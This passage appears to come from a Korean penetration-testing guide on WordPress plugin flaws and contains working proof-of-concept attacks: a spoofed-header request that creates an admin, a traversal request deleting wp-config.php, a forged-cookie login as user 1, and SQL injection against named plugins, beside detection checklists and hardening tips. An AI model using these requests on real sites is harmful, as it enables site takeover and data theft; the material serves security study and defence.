ํ”Œ๋Ÿฌ๊ทธ์ธ์ด ๊ธฐ๋Šฅ์„ ์‚ฌ์šฉ์ž์—๊ฒŒ ๋…ธ์ถœํ•˜๋Š” ๋ฐฉ๋ฒ• ์ค‘ ํ•˜๋‚˜๋Š” AJAX ํ•ธ๋“ค๋Ÿฌ๋ฅผ ํ†ตํ•œ ๊ฒƒ์ด๋‹ค. ์ด๋Ÿฌํ•œ ํ•ธ๋“ค๋Ÿฌ์—๋Š” ๋…ผ๋ฆฌ์  ๊ฒฐํ•จ, authorization, ๋˜๋Š” authentication ๋ฒ„๊ทธ๊ฐ€ ํฌํ•จ๋  ์ˆ˜ ์žˆ๋‹ค. ๊ฒŒ๋‹ค๊ฐ€ ์ด๋“ค ํ•จ์ˆ˜๋Š” ์ธ์ฆ๊ณผ ๊ถŒํ•œ ๋ถ€์—ฌ๋ฅผ ๋ชจ๋‘ WordPress nonce์˜ ์กด์žฌ์— ๊ธฐ๋ฐ˜ํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ํ”ํ•œ๋ฐ, ํ•ด๋‹น nonce๋Š” Wordpress ์ธ์Šคํ„ด์Šค์— ์ธ์ฆ๋œ ๋ชจ๋“  ์‚ฌ์šฉ์ž๊ฐ€ ๊ฐ€์งˆ ์ˆ˜ ์žˆ๋‹ค(์—ญํ• ๊ณผ ๋ฌด๊ด€ํ•˜๊ฒŒ).

These are the functions that can be used to expose a function in a plugin:

add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

nopriv์˜ ์‚ฌ์šฉ์€ ํ•ด๋‹น ์—”๋“œํฌ์ธํŠธ๋ฅผ ๋ชจ๋“  ์‚ฌ์šฉ์ž(์‹ฌ์ง€์–ด ์ธ์ฆ๋˜์ง€ ์•Š์€ ์‚ฌ์šฉ์ž)๋„ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค.

Caution

๋˜ํ•œ, ํ•จ์ˆ˜๊ฐ€ ๋‹จ์ง€ wp_verify_nonce๋กœ ์‚ฌ์šฉ์ž์˜ ์ธ์ฆ๋งŒ ํ™•์ธํ•˜๊ณ  ์žˆ๋‹ค๋ฉด, ์ด ํ•จ์ˆ˜๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ๋กœ๊ทธ์ธํ–ˆ๋Š”์ง€๋งŒ ํ™•์ธํ•  ๋ฟ ๋ณดํ†ต ์‚ฌ์šฉ์ž ์—ญํ• ์„ ํ™•์ธํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๋‚ฎ์€ ๊ถŒํ•œ์˜ ์‚ฌ์šฉ์ž๊ฐ€ ๋†’์€ ๊ถŒํ•œ์˜ ์ž‘์—…์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • REST API

๋˜ํ•œ register_rest_route ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ wordpress์˜ ํ•จ์ˆ˜๋ฅผ REST API๋กœ ๋…ธ์ถœ์‹œํ‚ค๋Š” ๊ฒƒ๋„ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค:

register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

The permission_callback๋Š” ํŠน์ • ์‚ฌ์šฉ์ž๊ฐ€ API ๋ฉ”์„œ๋“œ๋ฅผ ํ˜ธ์ถœํ•  ๊ถŒํ•œ์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๋Š” ์ฝœ๋ฐฑ ํ•จ์ˆ˜์ž…๋‹ˆ๋‹ค.

๋‚ด์žฅ __return_true ํ•จ์ˆ˜๊ฐ€ ์‚ฌ์šฉ๋˜๋ฉด ์‚ฌ์šฉ์ž ๊ถŒํ•œ ๊ฒ€์‚ฌ๋ฅผ ๋‹จ์ˆœํžˆ ๊ฑด๋„ˆ๋œ๋‹ˆ๋‹ค.

  • php ํŒŒ์ผ์— ์ง์ ‘ ์ ‘๊ทผ

๋ฌผ๋ก , Wordpress๋Š” PHP๋ฅผ ์‚ฌ์šฉํ•˜๋ฉฐ ํ”Œ๋Ÿฌ๊ทธ์ธ ๋‚ด๋ถ€์˜ ํŒŒ์ผ์€ ์›น์—์„œ ์ง์ ‘ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ํ”Œ๋Ÿฌ๊ทธ์ธ์ด ํŒŒ์ผ์— ์ ‘๊ทผํ•˜๋Š” ๊ฒƒ๋งŒ์œผ๋กœ ์‹คํ–‰๋˜๋Š” ์ทจ์•ฝํ•œ ๊ธฐ๋Šฅ์„ ๋…ธ์ถœํ•˜๋ฉด ๋ชจ๋“  ์‚ฌ์šฉ์ž๊ฐ€ ์ด๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Trusted-header REST impersonation (WooCommerce Payments โ‰ค 5.6.1)

์ผ๋ถ€ ํ”Œ๋Ÿฌ๊ทธ์ธ์€ ๋‚ด๋ถ€ ํ†ตํ•ฉ์ด๋‚˜ ๋ฆฌ๋ฒ„์Šค ํ”„๋ก์‹œ๋ฅผ ์œ„ํ•œ โ€œtrusted headerโ€ ๋‹จ์ถ•ํ‚ค๋ฅผ ๊ตฌํ˜„ํ•œ ๋‹ค์Œ ํ•ด๋‹น ํ—ค๋”๋ฅผ ์‚ฌ์šฉํ•ด REST ์š”์ฒญ์˜ ํ˜„์žฌ ์‚ฌ์šฉ์ž ์ปจํ…์ŠคํŠธ๋ฅผ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค. ๋งŒ์•ฝ ํ•ด๋‹น ํ—ค๋”๊ฐ€ ์—…์ŠคํŠธ๋ฆผ ๊ตฌ์„ฑ์š”์†Œ์— ์˜ํ•ด ์•”ํ˜ธํ•™์ ์œผ๋กœ ์š”์ฒญ์— ๋ฐ”์ธ๋”ฉ๋˜์–ด ์žˆ์ง€ ์•Š๋‹ค๋ฉด, ๊ณต๊ฒฉ์ž๋Š” ์ด๋ฅผ ์Šคํ‘ธํ•‘ํ•˜์—ฌ ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์˜ REST ๊ฒฝ๋กœ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • ์˜ํ–ฅ: ์ธ์ฆ๋˜์ง€ ์•Š์€ ์ƒํƒœ์—์„œ core users REST route๋ฅผ ํ†ตํ•ด ์ƒˆ ๊ด€๋ฆฌ์ž ๊ณ„์ •์„ ์ƒ์„ฑํ•˜์—ฌ ๊ด€๋ฆฌ์ž ๊ถŒํ•œ ์ƒ์Šน์œผ๋กœ ์ด์–ด์ง.
  • Example header: X-Wcpay-Platform-Checkout-User: 1 (user ID 1์„ ๊ฐ•์ œ๋กœ ์„ค์ •, ์ผ๋ฐ˜์ ์œผ๋กœ ์ฒซ ๋ฒˆ์งธ ๊ด€๋ฆฌ์ž ๊ณ„์ •).
  • ์•…์šฉ๋œ ๊ฒฝ๋กœ: POST /wp-json/wp/v2/users โ€” ๊ถŒํ•œ์ด ์ƒ์Šน๋œ role ๋ฐฐ์—ด๊ณผ ํ•จ๊ป˜.

PoC

POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114

{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}

์ž‘๋™ ์›๋ฆฌ

  • ํ”Œ๋Ÿฌ๊ทธ์ธ์ด ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ œ์–ดํ•˜๋Š” ํ—ค๋”๋ฅผ ์ธ์ฆ ์ƒํƒœ๋กœ ๋งคํ•‘ํ•˜๊ณ  ๊ถŒํ•œ ๊ฒ€์‚ฌ๋ฅผ ๊ฑด๋„ˆ๋›ด๋‹ค.
  • WordPress core๋Š” ์ด ๊ฒฝ๋กœ์— ๋Œ€ํ•ด create_users ๊ถŒํ•œ์„ ๊ธฐ๋Œ€ํ•œ๋‹ค; ํ”Œ๋Ÿฌ๊ทธ์ธ ์šฐํšŒ๋Š” ํ—ค๋”์—์„œ ์ง์ ‘ ํ˜„์žฌ ์‚ฌ์šฉ์ž ์ปจํ…์ŠคํŠธ๋ฅผ ์„ค์ •ํ•˜์—ฌ ์ด๋ฅผ ์šฐํšŒํ•œ๋‹ค.

์„ฑ๊ณต ์ง€ํ‘œ (์˜ˆ์ƒ)

  • ์ƒ์„ฑ๋œ ์‚ฌ์šฉ์ž๋ฅผ ์„ค๋ช…ํ•˜๋Š” JSON ๋ณธ๋ฌธ๊ณผ ํ•จ๊ป˜ HTTP 201 ์‘๋‹ต.
  • wp-admin/users.php์—์„œ ๋ณด์ด๋Š” ์ƒˆ๋กœ์šด ๊ด€๋ฆฌ์ž ์‚ฌ์šฉ์ž.

ํƒ์ง€ ์ฒดํฌ๋ฆฌ์ŠคํŠธ

  • ์‚ฌ์šฉ์ž ์ปจํ…์ŠคํŠธ๋ฅผ ์„ค์ •ํ•˜๊ธฐ ์œ„ํ•ด ์ปค์Šคํ…€ ํ—ค๋”๋ฅผ ์ฝ๋Š” getallheaders(), $_SERVER['HTTP_...'] ๋˜๋Š” ๋ฒค๋” SDK๋ฅผ grep ํ•˜๋ผ (์˜ˆ: wp_set_current_user(), wp_set_auth_cookie()).
  • ์š”์ฒญ ํ—ค๋”์— ์˜์กดํ•˜๊ณ  ์ถฉ๋ถ„ํ•œ permission_callback ๊ฒ€์‚ฌ๊ฐ€ ์—†๋Š” ๊ถŒํ•œ ์žˆ๋Š” ์ฝœ๋ฐฑ์— ๋Œ€ํ•œ REST ๋“ฑ๋ก์„ ๊ฒ€ํ† ํ•˜๋ผ.
  • REST ํ•ธ๋“ค๋Ÿฌ ๋‚ด๋ถ€์—์„œ ํ—ค๋” ๊ฐ’๋งŒ์œผ๋กœ ์ ‘๊ทผ์ด ํ†ต์ œ๋˜๋Š” ํ•ต์‹ฌ ์‚ฌ์šฉ์ž ๊ด€๋ฆฌ ํ•จ์ˆ˜(wp_insert_user, wp_create_user) ์‚ฌ์šฉ์„ ์ฐพ์•„๋ผ.

Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)

WordPress ํ…Œ๋งˆ์™€ ํ”Œ๋Ÿฌ๊ทธ์ธ์€ wp_ajax_ ๋ฐ wp_ajax_nopriv_ ํ›…์„ ํ†ตํ•ด AJAX ํ•ธ๋“ค๋Ÿฌ๋ฅผ ์ž์ฃผ ๋…ธ์ถœ์‹œํ‚จ๋‹ค. nopriv ๋ณ€ํ˜•์ด ์‚ฌ์šฉ๋˜๋ฉด ์ฝœ๋ฐฑ์ด ์ธ์ฆ๋˜์ง€ ์•Š์€ ๋ฐฉ๋ฌธ์ž๋„ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•ด์ง„๋‹ค, ๋”ฐ๋ผ์„œ ๋ฏผ๊ฐํ•œ ๋™์ž‘์€ ์ถ”๊ฐ€๋กœ ๋‹ค์Œ์„ ๊ตฌํ˜„ํ•ด์•ผ ํ•œ๋‹ค:

  1. A capability check (e.g. current_user_can() or at least is_user_logged_in()), and
  2. A CSRF nonce validated with check_ajax_referer() / wp_verify_nonce(), and
  3. Strict input sanitisation / validation.

Litho ๋ฉ€ํ‹ฐํผํฌ์Šค ํ…Œ๋งˆ (< 3.1)๋Š” Remove Font Family ๊ธฐ๋Šฅ์—์„œ ์ด 3๊ฐ€์ง€ ํ†ต์ œ๋ฅผ ์žŠ์–ด ์•„๋ž˜์™€ ๊ฐ™์€ ์ฝ”๋“œ๋ฅผ ๋ฐฐํฌํ–ˆ๋‹ค (๋‹จ์ˆœํ™”๋จ):

function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

Issues introduced by this snippet:

  • Unauthenticated access โ€“ the wp_ajax_nopriv_ hook is registered.
  • No nonce / capability check โ€“ ์–ด๋–ค ๋ฐฉ๋ฌธ์ž๋“  ์—”๋“œํฌ์ธํŠธ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • No path sanitisation โ€“ ์‚ฌ์šฉ์ž ์ œ์–ด fontfamily ๋ฌธ์ž์—ด์ด ํ•„ํ„ฐ๋ง ์—†์ด ํŒŒ์ผ ์‹œ์Šคํ…œ ๊ฒฝ๋กœ์— ์—ฐ๊ฒฐ๋˜์–ด ๊ณ ์ „์ ์ธ ../../ traversal์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.

Exploitation

๊ณต๊ฒฉ์ž๋Š” ๋‹จ์ผ HTTP POST request๋ฅผ ๋ณด๋‚ด below the uploads base directory (๋ณดํ†ต <wp-root>/wp-content/uploads/)์— ์žˆ๋Š” ์–ด๋–ค ํŒŒ์ผ์ด๋‚˜ ๋””๋ ‰ํ„ฐ๋ฆฌ๋ผ๋„ ์‚ญ์ œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

Because wp-config.php lives outside uploads, four ../ sequences are enough on a default installation. Deleting wp-config.php forces WordPress into the ์„ค์น˜ ๋งˆ๋ฒ•์‚ฌ on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).

Other impactful targets include plugin/theme .php files (to break security plugins) or .htaccess rules.

ํƒ์ง€ ์ฒดํฌ๋ฆฌ์ŠคํŠธ

  • Any add_action( 'wp_ajax_nopriv_...') callback that calls filesystem helpers (copy(), unlink(), $wp_filesystem->delete(), etc.).
  • ๊ฒฝ๋กœ์— ๋น„๊ฒ€์ฆ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ์ด์–ด๋ถ™์ด๋Š” ๊ฒฝ์šฐ($_POST, $_GET, $_REQUEST ํ™•์ธ).
  • check_ajax_referer() ๋ฐ current_user_can()/is_user_logged_in()์˜ ๋ถ€์žฌ.

Privilege escalation via stale role restoration and missing authorization (ASE โ€œView Admin as Roleโ€)

Many plugins implement a โ€œview as roleโ€ or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., $_REQUEST['reset-for']) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation.

A real-world example was found in the Admin and Site Enhancements (ASE) plugin (โ‰ค 7.6.2.1). The reset branch restored roles based on reset-for=<username> if the username appeared in an internal array $options['viewing_admin_as_role_are'], but performed neither a current_user_can() check nor a nonce verification before removing current roles and re-adding the saved roles from user meta _asenha_view_admin_as_original_roles:

// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];

if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}

์™œ ์ด ์ทจ์•ฝ์ ์ด ์•…์šฉ ๊ฐ€๋Šฅํ•œ๊ฐ€

  • $_REQUEST['reset-for']์™€ ํ”Œ๋Ÿฌ๊ทธ์ธ ์˜ต์…˜์„ server-side authorization ์—†์ด ์‹ ๋ขฐํ•จ.
  • _asenha_view_admin_as_original_roles์— ์ด์ „์— ๋” ๋†’์€ ๊ถŒํ•œ์ด ์ €์žฅ๋˜์–ด ์žˆ์—ˆ๊ณ  ์‚ฌ์šฉ์ž๊ฐ€ ํ•˜ํ–ฅ ์กฐ์ •๋œ ๊ฒฝ์šฐ, reset ๊ฒฝ๋กœ๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ ํ•ด๋‹น ๊ถŒํ•œ์„ ๋ณต์›ํ•  ์ˆ˜ ์žˆ์Œ.
  • ์ผ๋ถ€ ๋ฐฐํฌ ํ™˜๊ฒฝ์—์„œ๋Š”, any authenticated user๊ฐ€ viewing_admin_as_role_are์— ์—ฌ์ „ํžˆ ์กด์žฌํ•˜๋Š” ๋‹ค๋ฅธ username์— ๋Œ€ํ•œ reset์„ ํŠธ๋ฆฌ๊ฑฐํ•  ์ˆ˜ ์žˆ์Œ (๊ถŒํ•œ ๊ฒ€์ฆ ์‹คํŒจ).

Exploitation (example)

# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'

์ทจ์•ฝํ•œ ๋นŒ๋“œ์—์„œ๋Š” ์ด ๋™์ž‘์ด ํ˜„์žฌ ์—ญํ• ์„ ์ œ๊ฑฐํ•˜๊ณ  ์ €์žฅ๋œ ์›๋ž˜ ์—ญํ• (์˜ˆ: administrator)์„ ๋‹ค์‹œ ์ถ”๊ฐ€ํ•˜์—ฌ ์‹ค์งˆ์ ์œผ๋กœ ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ต๋‹ˆ๋‹ค.

Detection checklist

  • ์‚ฌ์šฉ์ž ๋ฉ”ํƒ€์— โ€œoriginal rolesโ€๋ฅผ ์ €์žฅํ•˜๋Š” ์—ญํ•  ์ „ํ™˜ ๊ธฐ๋Šฅ(์˜ˆ: _asenha_view_admin_as_original_roles)์„ ์ฐพ์œผ์„ธ์š”.
  • ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋ฆฌ์…‹/๋ณต์› ๊ฒฝ๋กœ๋ฅผ ์‹๋ณ„ํ•˜์„ธ์š”:
    • ์‚ฌ์šฉ์ž ์ด๋ฆ„์„ $_REQUEST / $_GET / $_POST์—์„œ ์ฝ์Šต๋‹ˆ๋‹ค.
    • current_user_can() ๋ฐ wp_verify_nonce() / check_admin_referer() ์—†์ด add_role() / remove_role()๋กœ ์—ญํ• ์„ ์ˆ˜์ •ํ•ฉ๋‹ˆ๋‹ค.
    • ํ–‰์œ„์ž์˜ ๊ถŒํ•œ(capabilities) ๋Œ€์‹  ํ”Œ๋Ÿฌ๊ทธ์ธ ์˜ต์…˜ ๋ฐฐ์—ด(์˜ˆ: viewing_admin_as_role_are)์— ๊ธฐ๋ฐ˜ํ•ด ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•ฉ๋‹ˆ๋‹ค.

๊ณต๊ฐœ init์—์„œ ์ฟ ํ‚ค ๊ธฐ๋ฐ˜ ์‹ ๋ขฐ ์‚ฌ์šฉ์ž ์ „ํ™˜์„ ํ†ตํ•œ ์ธ์ฆ๋˜์ง€ ์•Š์€ ๊ถŒํ•œ ์ƒ์Šน (Service Finder โ€œsf-bookingโ€)

์ผ๋ถ€ ํ”Œ๋Ÿฌ๊ทธ์ธ์€ ์‚ฌ์šฉ์ž ์ „ํ™˜ ํ—ฌํผ๋ฅผ ๊ณต๊ฐœ init ํ›…์— ์—ฐ๊ฒฐํ•˜๊ณ  ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ œ์–ดํ•˜๋Š” ์ฟ ํ‚ค์—์„œ ์‹ ์›์„ ์œ ๋„ํ•ฉ๋‹ˆ๋‹ค. ์ฝ”๋“œ๊ฐ€ ์ธ์ฆ, ๊ถŒํ•œ(capability) ๋ฐ ์œ ํšจํ•œ nonce๋ฅผ ๊ฒ€์ฆํ•˜์ง€ ์•Š๊ณ  wp_set_auth_cookie()๋ฅผ ํ˜ธ์ถœํ•˜๋ฉด, ์–ด๋–ค ์ธ์ฆ๋˜์ง€ ์•Š์€ ๋ฐฉ๋ฌธ์ž๋„ ์ž„์˜์˜ ์‚ฌ์šฉ์ž ID๋กœ ๊ฐ•์ œ ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Typical vulnerable pattern (simplified from Service Finder Bookings โ‰ค 6.1):

function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');

function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid);  // ๐Ÿ”ฅ sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}

์™œ ์ทจ์•ฝํ•œ๊ฐ€

  • ๊ณต๊ฐœ๋œ init hook์œผ๋กœ ์ธํ•ด ํ•ธ๋“ค๋Ÿฌ๊ฐ€ ์ธ์ฆ๋˜์ง€ ์•Š์€ ์‚ฌ์šฉ์ž๋„ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•จ(is_user_logged_in() ๊ฐ€๋“œ ์—†์Œ).
  • ์‹๋ณ„ ์ •๋ณด๋Š” ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ˆ˜์ • ๊ฐ€๋Šฅํ•œ ์ฟ ํ‚ค(original_user_id)์—์„œ ์œ ๋ž˜ํ•จ.
  • ์ง์ ‘์ ์ธ wp_set_auth_cookie($uid) ํ˜ธ์ถœ์€ ๊ถŒํ•œ/nonce ๊ฒ€์‚ฌ ์—†์ด ์š”์ฒญ์ž๋ฅผ ํ•ด๋‹น ์‚ฌ์šฉ์ž๋กœ ๋กœ๊ทธ์ธ์‹œํ‚ด.

Exploitation (unauthenticated)

GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close

WAF considerations for WordPress/plugin CVEs

์ผ๋ฐ˜์ ์ธ edge/server WAF๋Š” ๋„“์€ ํŒจํ„ด(SQLi, XSS, LFI)์— ๋งž์ถฐ ์กฐ์ •๋ฉ๋‹ˆ๋‹ค. ๋งŽ์€ ๊ณ ์˜ํ–ฅ WordPress/plugin ๊ฒฐํ•จ์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ํŠน์ •์˜ ๋กœ์ง/์ธ์ฆ ๋ฒ„๊ทธ๋กœ, ์—”์ง„์ด WordPress ๋ผ์šฐํŠธ์™€ plugin ์˜๋ฏธ๋ก ์„ ์ดํ•ดํ•˜์ง€ ๋ชปํ•˜๋ฉด ์ •์ƒ ํŠธ๋ž˜ํ”ฝ์ฒ˜๋Ÿผ ๋ณด์ž…๋‹ˆ๋‹ค.

Offensive notes

  • Target plugin-specific endpoints with clean payloads: admin-ajax.php?action=..., wp-json/<namespace>/<route>, custom file handlers, shortcodes.
  • Exercise unauth paths first (AJAX nopriv, REST with permissive permission_callback, public shortcodes). Default payloads often succeed without obfuscation.
  • Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.

Defensive notes

  • Donโ€™t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
  • Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.

WordPress Protection

Regular Updates

WordPress, plugins, and themes๊ฐ€ ์ตœ์‹ ์ธ์ง€ ํ™•์ธํ•˜์„ธ์š”. ๋˜ํ•œ ์ž๋™ ์—…๋ฐ์ดํŠธ๊ฐ€ wp-config.php์— ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

๋˜ํ•œ, ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” WordPress ํ”Œ๋Ÿฌ๊ทธ์ธ๊ณผ ํ…Œ๋งˆ๋งŒ ์„ค์น˜ํ•˜์„ธ์š”.

๋ณด์•ˆ ํ”Œ๋Ÿฌ๊ทธ์ธ

๊ธฐํƒ€ ๊ถŒ์žฅ์‚ฌํ•ญ

  • ๊ธฐ๋ณธ admin ์‚ฌ์šฉ์ž ์ œ๊ฑฐ
  • ๊ฐ•๋ ฅํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ์™€ 2FA ์‚ฌ์šฉ
  • ์ฃผ๊ธฐ์ ์œผ๋กœ ์‚ฌ์šฉ์ž ๊ถŒํ•œ์„ ๊ฒ€ํ† 
  • ๋กœ๊ทธ์ธ ์‹œ๋„ ์ œํ•œ์œผ๋กœ Brute Force ๊ณต๊ฒฉ ๋ฐฉ์ง€
  • wp-admin.php ํŒŒ์ผ ์ด๋ฆ„์„ ๋ณ€๊ฒฝํ•˜๊ณ  ๋‚ด๋ถ€ ๋˜๋Š” ํŠน์ • IP์—์„œ๋งŒ ์ ‘๊ทผ ํ—ˆ์šฉ

์ธ์ฆ๋˜์ง€ ์•Š์€ SQL Injection (๊ฒ€์ฆ ๋ถ€์กฑ) (WP Job Portal <= 2.3.2)

WP Job Portal recruitment ํ”Œ๋Ÿฌ๊ทธ์ธ์€ savecategory ์ž‘์—…์„ ๋…ธ์ถœ์‹œ์ผฐ๊ณ , ์ด๋Š” ๊ฒฐ๊ตญ modules/category/model.php::validateFormData() ๋‚ด๋ถ€์—์„œ ๋‹ค์Œ์˜ ์ทจ์•ฝํ•œ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค:

$category  = WPJOBPORTALrequest::getVar('parentid');
$inquery   = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category ";   // <-- direct concat โœ—
}
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later

Issues introduced by this snippet:

  1. Unsanitised user input โ€“ parentid๊ฐ€ HTTP ์š”์ฒญ์—์„œ ๊ทธ๋Œ€๋กœ ๋“ค์–ด์˜ต๋‹ˆ๋‹ค.
  2. String concatenation inside the WHERE clause โ€“ is_numeric() / esc_sql() / prepared statement ์—†์Œ.
  3. Unauthenticated reachability โ€“ ํ•ด๋‹น ์•ก์…˜์€ admin-post.php๋ฅผ ํ†ตํ•ด ์‹คํ–‰๋˜์ง€๋งŒ, ์œ ์ผํ•œ ์ฒดํฌ๋Š” ๋ˆ„๊ตฌ๋‚˜ ๊ณต๊ฐœ ํŽ˜์ด์ง€์—์„œ ์ˆ์ฝ”๋“œ [wpjobportal_my_resumes]๋ฅผ ํ†ตํ•ด ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ๋Š” CSRF nonce (wp_verify_nonce())๋ฟ์ž…๋‹ˆ๋‹ค.

์•…์šฉ

  1. ์ƒˆ nonce ํ™•๋ณด:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
  1. parentid๋ฅผ ์•…์šฉํ•ด ์ž„์˜์˜ SQL ์ฃผ์ž…:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='

์‘๋‹ต์€ ์ฃผ์ž…๋œ ์ฟผ๋ฆฌ์˜ ๊ฒฐ๊ณผ๋ฅผ ๋…ธ์ถœํ•˜๊ฑฐ๋‚˜ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ๋ณ€๊ฒฝํ•˜์—ฌ SQLi๋ฅผ ์ž…์ฆํ•ฉ๋‹ˆ๋‹ค.

Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)

๋‹ค๋ฅธ ์ž‘์—…์ธ downloadcustomfile์€ path traversal์„ ํ†ตํ•ด ๋ฐฉ๋ฌธ์ž๊ฐ€ ๋””์Šคํฌ์˜ ๋ชจ๋“  ํŒŒ์ผ์„ ๋‹ค์šด๋กœ๋“œํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ—ˆ์šฉํ–ˆ์Šต๋‹ˆ๋‹ค. ์ทจ์•ฝํ•œ sink๋Š” modules/customfield/model.php::downloadCustomUploadedFile()์— ์œ„์น˜ํ•ฉ๋‹ˆ๋‹ค:

$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output

